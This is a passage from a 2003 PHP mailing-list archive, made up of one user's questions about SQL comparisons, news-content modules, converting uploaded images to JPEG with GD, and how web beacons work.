string programmatically and i was curious about different syntax being able 
to produce the same result in the hopes that it'll help streamline my PHP 
code. for example, what if i don't know which is value is greater, age1 or 
age2?  is there some sql syntax that will deal with this situation without 
me having to determine which is which via PHP?





_
Tired of spam? Get advanced junk mail protection with MSN 8. 
http://join.msn.com/?page=features/junkmail

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] News Content

2003-03-03 Thread Jason Paschal
Anyone know of any pre-built modules or whatnot that provide some news 
content and/or links and captions via PHP/MySQL that can be integrated with 
minimal disruption to a site?  (A prerequisite being that it acts legally in 
terms of gathering the info. ;)
Thank you,
Jason





_
Add photos to your messages with MSN 8. Get 2 months FREE*.  
http://join.msn.com/?page=features/featuredemail

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Using PHP to convert to JPEG

2003-03-01 Thread Jason Paschal
I'm building a site that allows ppl to upload images.  PHP was compiled with 
the GD lib so I'm able to verify all sorts of info about the image for 
validation.  However, I was wondering if there is a way to convert a 
non-jpeg image to jpeg just by using the GD functions as opposed to using 
unix command line utilities and system/exec functions (the hosting company 
doesn't like that, and personally, i don't like the 'cross ur fingers' 
aspect of php/commandline stuff).
Some browsers don't like some image types and we're trying to make jpg the 
standard extension, though we allow ppl to upload BMP, TIF, GIF, PNG, and 
JPG files.
I can get the image and put it where I want on the server, but is there a 
way to finesse the GD lib to create a jpeg from whatever image type they 
upload?  If someone just has an idea that may or may not work, I'm open to 
suggestions, pseudo-code is welcome.  Seems that somewhere in the GD lib's 
capabilities there's a way to squeeze out what i want, but I can't grasp it.
Thank you,
screamingpanda





_
The new MSN 8: advanced junk mail protection and 2 months FREE*  
http://join.msn.com/?page=features/junkmail

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Just to ask knowledgable ppl

2003-03-01 Thread Jason Paschal
Not directly PHP related, but I'm building a site in PHP at the moment, so 
I've been doing a bit of research...
I've been on the net for years, coding and surfing and coding.  And not 
always in that order. ;)  But only recently have I heard about web beacons, 
or single-pixel gifs.  Seems every site with these beacons mentions them in 
their privacy policy.  Shows you how much I pay to attention to them.  I was 
just curious as to how they work.  Is it just a matter of viewing server 
reports to see how often that image has been accessed?





_
Add photos to your e-mail with MSN 8. Get 2 months FREE*.  
http://join.msn.com/?page=features/featuredemail

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php